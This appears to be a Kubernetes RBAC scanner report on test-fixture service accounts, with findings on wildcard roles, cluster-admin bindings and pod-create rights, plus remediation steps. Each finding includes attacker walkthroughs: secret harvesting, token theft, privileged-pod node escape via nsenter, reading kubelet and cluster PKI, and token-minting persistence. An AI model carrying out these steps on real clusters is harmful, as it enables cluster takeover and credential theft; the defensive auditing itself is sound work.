In a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.

Impact Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to cluster-admin when cluster-scoped.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueWildcard verbs × wildcard resources

An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

  1. Attacker compromises a workload that resolves to ServiceAccount/rbac-fixtures/sa-wildcard (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).
  2. They run kubectl auth can-i '*' '*' --as=sa-wildcard -A and confirm wildcard permissions.
  3. They list every Secret in scope (kubectl get secrets -A -o yaml) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.
  4. They create a privileged DaemonSet that mounts the host filesystem and reads /etc/kubernetes/pki/* to steal the cluster CA.
  5. They establish persistence by minting a long-lived token for clusterrole-aggregation-controller via the TokenRequest API, then optionally remove their original binding to evade detection.
Remediation
Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.
  1. Inventory what ServiceAccount/rbac-fixtures/sa-wildcard actually needs. Run kubectl auth can-i --list --as=sa-wildcard -A and correlate with audit logs filtered on user.username.
  2. Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.
  3. Apply the new binding, delete the wildcard binding ClusterRoleBinding crb-wildcard, and verify with kubectl auth can-i '*' '*' --as=sa-wildcard -A returning no.
  4. Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing * in verbs, resources, or apiGroups.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
Source bindingcrb-wildcard
Inspect: kubectl get clusterrolebinding crb-wildcard -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-wildcard",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-wildcard",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL

Non-system subject ServiceAccount/rbac-fixtures/sa-cluster-admin directly bound to cluster-admin

KUBE-RBAC-OVERBROAD-001 1 subject Score 10.0
MITRE ATT&CK: T1078T1078.004T1098T1548

Affected subject

CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 10.0
Non-system subject ServiceAccount/rbac-fixtures/sa-cluster-admin directly bound to cluster-admin
Scope · Cluster Cluster-wide cluster-admin (full read/write to every resource in every namespace)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: RBACRule/cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin is directly bound to the built-in cluster-admin ClusterRole via the ClusterRoleBinding crb-cluster-admin. The cluster-admin ClusterRole grants * on * resources in * apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.

Microsoft's Threat Matrix for Kubernetes lists Cluster-admin binding as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com for a developer; Helm charts that ship a default ClusterRoleBinding to cluster-admin; SaaS/operator installers that take the lazy path.

An attacker who compromises ServiceAccount/rbac-fixtures/sa-cluster-admin (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.

Impact Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueDirect cluster-admin binding

The subject is bound directly to the cluster-admin ClusterRole through a ClusterRoleBinding. No chain is needed; they are already cluster-admin. The only question is whether the subject itself can be compromised.

  1. Attacker compromises ServiceAccount/rbac-fixtures/sa-cluster-admin (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).
  2. They run kubectl auth can-i '*' '*' --all-namespaces and confirm yes.
  3. They harvest all Secrets cluster-wide for cloud-credential pivot.
  4. They establish persistence by minting a 1-year TokenRequest for kube-system/clusterrole-aggregation-controller, or by creating a benign-looking ClusterRoleBinding to a backup identity.
  5. They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials.
Remediation
Replace cluster-admin with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.
  1. Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.
  2. Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.
  3. For genuine emergency-admin needs, move to a break-glass model: a separate cluster-admin-jit group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.
  4. Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to cluster-admin outside the break-glass group.
  5. Verify: kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects' shows only break-glass principals and system: subjects.
Evidence
ScopeCluster
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcrb-cluster-admin
Inspect: kubectl get clusterrolebinding crb-cluster-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": null,
  "namespace": "",
  "resources": null,
  "scope": "cluster",
  "source_binding": "crb-cluster-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": null
}
HIGH

Cluster-wide pod creation enables token theft and node takeover

KUBE-PRIVESC-001 4 subjects Score 10.0

Affected subjects (4)

HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 10.0
Cluster-wide pod creation enables token theft and node takeover (ServiceAccount/rbac-fixtures/sa-pod-create)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: RBACRule/cr-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create can create pods via ClusterRoleBinding crb-pod-create → ClusterRole cr-pod-create. Cluster-wide: applies to every current and future namespace.

Under Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing spec.serviceAccountName the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at /var/run/secrets/kubernetes.io/serviceaccount/token.

Beyond identity hopping, a created pod can request hostPath, hostNetwork, hostPID, privileged: true, or SYS_ADMIN. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads /etc/kubernetes/pki/admin.conf directly.

Impact Run arbitrary code as any ServiceAccount in Cluster-wide (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod creation → ServiceAccount token theft

Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

This is the single most common privilege-escalation pattern in production Kubernetes.

  1. Attacker enumerates target namespaces with kubectl get sa -A to find privileged ServiceAccounts (e.g. kube-system/clusterrole-aggregation-controller).
  2. They craft a pod manifest with spec.serviceAccountName: <privileged-sa> and any container image they control.
  3. They kubectl apply -f the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.
  4. They exec into the pod (or have the container phone home), read the token, and replay it against the API server.
  5. Optionally, they instead create a pod with hostPID: true + privileged: true + hostPath of / and break out to the node.
Remediation
Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.
  1. Replace direct create on pods with create/update on deployments (or the appropriate workload controller).
  2. Enforce restricted Pod Security Standard via pod-security.kubernetes.io/enforce=restricted namespace label so privileged/hostPath pods are rejected at admission.
  3. Add a Kyverno/Gatekeeper policy that requires automountServiceAccountToken: false on user-created pods, or pins them to a non-privileged ServiceAccount.
  4. Verify with kubectl auth can-i create pods --as=sa-pod-create -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source rolecr-pod-create
Inspect: kubectl get clusterrole cr-pod-create -o yaml
Source bindingcrb-pod-create
Inspect: kubectl get clusterrolebinding crb-pod-create -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "pods"
  ],
  "scope": "cluster",
  "source_binding": "crb-pod-create",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-pod-create",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/vulnerable/privileged-reader Cluster 10.0
Cluster-wide pod creation enables token theft and node takeover (ServiceAccount/vulnerable/privileged-reader)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader Resource: RBACRule/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader can create pods via ClusterRoleBinding privileged-reader → ClusterRole privileged-reader. Cluster-wide: applies to every current and future namespace.

Under Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing spec.serviceAccountName the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at /var/run/secrets/kubernetes.io/serviceaccount/token.

Beyond identity hopping, a created pod can request hostPath, hostNetwork, hostPID, privileged: true, or SYS_ADMIN. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads /etc/kubernetes/pki/admin.conf directly.

Impact Run arbitrary code as any ServiceAccount in Cluster-wide (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod creation → ServiceAccount token theft

Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

This is the single most common privilege-escalation pattern in production Kubernetes.

  1. Attacker enumerates target namespaces with kubectl get sa -A to find privileged ServiceAccounts (e.g. kube-system/clusterrole-aggregation-controller).
  2. They craft a pod manifest with spec.serviceAccountName: <privileged-sa> and any container image they control.
  3. They kubectl apply -f the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.
  4. They exec into the pod (or have the container phone home), read the token, and replay it against the API server.
  5. Optionally, they instead create a pod with hostPID: true + privileged: true + hostPath of / and break out to the node.
Remediation
Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.
  1. Replace direct create on pods with create/update on deployments (or the appropriate workload controller).
  2. Enforce restricted Pod Security Standard via pod-security.kubernetes.io/enforce=restricted namespace label so privileged/hostPath pods are rejected at admission.
  3. Add a Kyverno/Gatekeeper policy that requires automountServiceAccountToken: false on user-created pods, or pins them to a non-privileged ServiceAccount.
  4. Verify with kubectl auth can-i create pods --as=privileged-reader -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source roleprivileged-reader
Inspect: kubectl get clusterrole privileged-reader -o yaml
Source bindingprivileged-reader
Inspect: kubectl get clusterrolebinding privileged-reader -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "pods"
  ],
  "scope": "cluster",
  "source_binding": "privileged-reader",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "privileged-reader",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/local-path-storage/local-path-provisioner-service-account Namespace 10.0
Namespace local-path-storage only pod creation enables token theft and node takeover (ServiceAccount/local-path-storage/local-path-provisioner-service-account)
Scope · Namespace Namespace local-path-storage only
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account Resource: RBACRule/local-path-storage/local-path-provisioner-role

Subject ServiceAccount/local-path-storage/local-path-provisioner-service-account can create pods via RoleBinding local-path-storage/local-path-provisioner-bind → Role local-path-storage/local-path-provisioner-role. Namespace local-path-storage only.

Under Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing spec.serviceAccountName the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at /var/run/secrets/kubernetes.io/serviceaccount/token.

Beyond identity hopping, a created pod can request hostPath, hostNetwork, hostPID, privileged: true, or SYS_ADMIN. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads /etc/kubernetes/pki/admin.conf directly.

Impact Run arbitrary code as any ServiceAccount in Namespace local-path-storage only (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod creation → ServiceAccount token theft

Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

This is the single most common privilege-escalation pattern in production Kubernetes.

  1. Attacker enumerates target namespaces with kubectl get sa -A to find privileged ServiceAccounts (e.g. kube-system/clusterrole-aggregation-controller).
  2. They craft a pod manifest with spec.serviceAccountName: <privileged-sa> and any container image they control.
  3. They kubectl apply -f the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.
  4. They exec into the pod (or have the container phone home), read the token, and replay it against the API server.
  5. Optionally, they instead create a pod with hostPID: true + privileged: true + hostPath of / and break out to the node.
Remediation
Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.
  1. Replace direct create on pods with create/update on deployments (or the appropriate workload controller).
  2. Enforce restricted Pod Security Standard via pod-security.kubernetes.io/enforce=restricted namespace label so privileged/hostPath pods are rejected at admission.
  3. Add a Kyverno/Gatekeeper policy that requires automountServiceAccountToken: false on user-created pods, or pins them to a non-privileged ServiceAccount.
  4. Verify with kubectl auth can-i create pods --as=local-path-provisioner-service-account -n local-path-storage returning no.
Evidence
ScopeNamespace
Namespacelocal-path-storage
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbsgetlistwatchcreatepatchupdatedelete
create: Create new objects of this resource
patch: Mutate existing objects in place
update: Replace existing objects
delete: Permanently remove objects
Source rolelocal-path-provisioner-role
Inspect: kubectl get role local-path-provisioner-role -n local-path-storage -o yaml
Source bindinglocal-path-provisioner-bind
Inspect: kubectl get rolebinding local-path-provisioner-bind -n local-path-storage -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "local-path-storage",
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "local-path-provisioner-bind",
  "source_binding_kind": "RoleBinding",
  "source_role": "local-path-provisioner-role",
  "source_role_kind": "Role",
  "verbs": [
    "get",
    "list",
    "watch",
    "create",
    "patch",
    "update",
    "delete"
  ]
}
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Namespace 10.0
Namespace privesc-fixtures only pod creation enables token theft and node takeover (ServiceAccount/privesc-fixtures/sa-pod-create-escape)
Scope · Namespace Namespace privesc-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape Resource: RBACRule/privesc-fixtures/r-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape can create pods via RoleBinding privesc-fixtures/rb-pod-create-escape → Role privesc-fixtures/r-pod-create-escape. Namespace privesc-fixtures only.

Under Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing spec.serviceAccountName the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at /var/run/secrets/kubernetes.io/serviceaccount/token.

Beyond identity hopping, a created pod can request hostPath, hostNetwork, hostPID, privileged: true, or SYS_ADMIN. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads /etc/kubernetes/pki/admin.conf directly.

Impact Run arbitrary code as any ServiceAccount in Namespace privesc-fixtures only (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod creation → ServiceAccount token theft

Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

This is the single most common privilege-escalation pattern in production Kubernetes.

  1. Attacker enumerates target namespaces with kubectl get sa -A to find privileged ServiceAccounts (e.g. kube-system/clusterrole-aggregation-controller).
  2. They craft a pod manifest with spec.serviceAccountName: <privileged-sa> and any container image they control.
  3. They kubectl apply -f the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.
  4. They exec into the pod (or have the container phone home), read the token, and replay it against the API server.
  5. Optionally, they instead create a pod with hostPID: true + privileged: true + hostPath of / and break out to the node.
Remediation
Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.
  1. Replace direct create on pods with create/update on deployments (or the appropriate workload controller).
  2. Enforce restricted Pod Security Standard via pod-security.kubernetes.io/enforce=restricted namespace label so privileged/hostPath pods are rejected at admission.
  3. Add a Kyverno/Gatekeeper policy that requires automountServiceAccountToken: false on user-created pods, or pins them to a non-privileged ServiceAccount.
  4. Verify with kubectl auth can-i create pods --as=sa-pod-create-escape -n privesc-fixtures returning no.
Evidence
ScopeNamespace
Namespaceprivesc-fixtures
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source roler-pod-create-escape
Inspect: kubectl get role r-pod-create-escape -n privesc-fixtures -o yaml
Source bindingrb-pod-create-escape
Inspect: kubectl get rolebinding rb-pod-create-escape -n privesc-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "privesc-fixtures",
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "rb-pod-create-escape",
  "source_binding_kind": "RoleBinding",
  "source_role": "r-pod-create-escape",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH

Cluster-wide pod creation can launch a privileged pod and escape to the node

KUBE-PRIVESC-002 4 subjects Score 10.0
MITRE ATT&CK: T1610T1611T1078.004

Affected subjects (4)

HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 10.0
Cluster-wide pod creation can launch a privileged pod and escape to the node (ServiceAccount/rbac-fixtures/sa-pod-create)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: RBACRule/cr-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create can create pods via ClusterRoleBinding crb-pod-create → ClusterRole cr-pod-create, and any namespace without a restrictive Pod Security Admission enforce label does not enforce a Pod Security Admission level that blocks privileged pods. Cluster-wide: applies to every current and future namespace.

RBAC never inspects the contents of a pod, only the create verb. When the target namespace has no pod-security.kubernetes.io/enforce label (or it is set to privileged), nothing at admission stops the attacker from creating a pod with privileged: true, hostPID: true, hostNetwork: true, or a hostPath mount of /. From inside that pod, breaking out to the node is trivial (nsenter into PID 1, read /etc/kubernetes/pki, steal the kubelet client cert).

This is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.

Impact Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCreate a privileged pod and escape to the node

RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

  1. Attacker confirms pod-create with kubectl auth can-i create pods --as=sa-pod-create -A and notes the target namespace has no restrictive Pod Security enforce label.
  2. They craft a pod with securityContext.privileged: true, hostPID: true, and a hostPath volume mounting /.
  3. They kubectl apply the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to privileged.
  4. They exec in and nsenter -t 1 -m -u -i -n -p -- /bin/sh to land a root shell on the node.
  5. They read /var/lib/kubelet/pki/kubelet-client-current.pem and /etc/kubernetes/pki/*, then pivot to the control plane.
Remediation
Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.
  1. Label the namespace to enforce Pod Security: kubectl label ns <ns> pod-security.kubernetes.io/enforce=restricted. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.
  2. Replace direct create on pods with create/update on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.
  3. Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects privileged, hostPID, hostNetwork, and sensitive hostPath mounts outside an explicit allowlist, as defence in depth behind PSA.
  4. Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that kubectl auth can-i create pods --as=sa-pod-create -A returns no for application identities.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source rolecr-pod-create
Inspect: kubectl get clusterrole cr-pod-create -o yaml
Source bindingcrb-pod-create
Inspect: kubectl get clusterrolebinding crb-pod-create -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "pods"
  ],
  "scope": "cluster",
  "source_binding": "crb-pod-create",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-pod-create",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/vulnerable/privileged-reader Cluster 10.0
Cluster-wide pod creation can launch a privileged pod and escape to the node (ServiceAccount/vulnerable/privileged-reader)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader Resource: RBACRule/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader can create pods via ClusterRoleBinding privileged-reader → ClusterRole privileged-reader, and any namespace without a restrictive Pod Security Admission enforce label does not enforce a Pod Security Admission level that blocks privileged pods. Cluster-wide: applies to every current and future namespace.

RBAC never inspects the contents of a pod, only the create verb. When the target namespace has no pod-security.kubernetes.io/enforce label (or it is set to privileged), nothing at admission stops the attacker from creating a pod with privileged: true, hostPID: true, hostNetwork: true, or a hostPath mount of /. From inside that pod, breaking out to the node is trivial (nsenter into PID 1, read /etc/kubernetes/pki, steal the kubelet client cert).

This is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.

Impact Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCreate a privileged pod and escape to the node

RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

  1. Attacker confirms pod-create with kubectl auth can-i create pods --as=privileged-reader -A and notes the target namespace has no restrictive Pod Security enforce label.
  2. They craft a pod with securityContext.privileged: true, hostPID: true, and a hostPath volume mounting /.
  3. They kubectl apply the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to privileged.
  4. They exec in and nsenter -t 1 -m -u -i -n -p -- /bin/sh to land a root shell on the node.
  5. They read /var/lib/kubelet/pki/kubelet-client-current.pem and /etc/kubernetes/pki/*, then pivot to the control plane.
Remediation
Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.
  1. Label the namespace to enforce Pod Security: kubectl label ns <ns> pod-security.kubernetes.io/enforce=restricted. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.
  2. Replace direct create on pods with create/update on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.
  3. Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects privileged, hostPID, hostNetwork, and sensitive hostPath mounts outside an explicit allowlist, as defence in depth behind PSA.
  4. Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that kubectl auth can-i create pods --as=privileged-reader -A returns no for application identities.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source roleprivileged-reader
Inspect: kubectl get clusterrole privileged-reader -o yaml
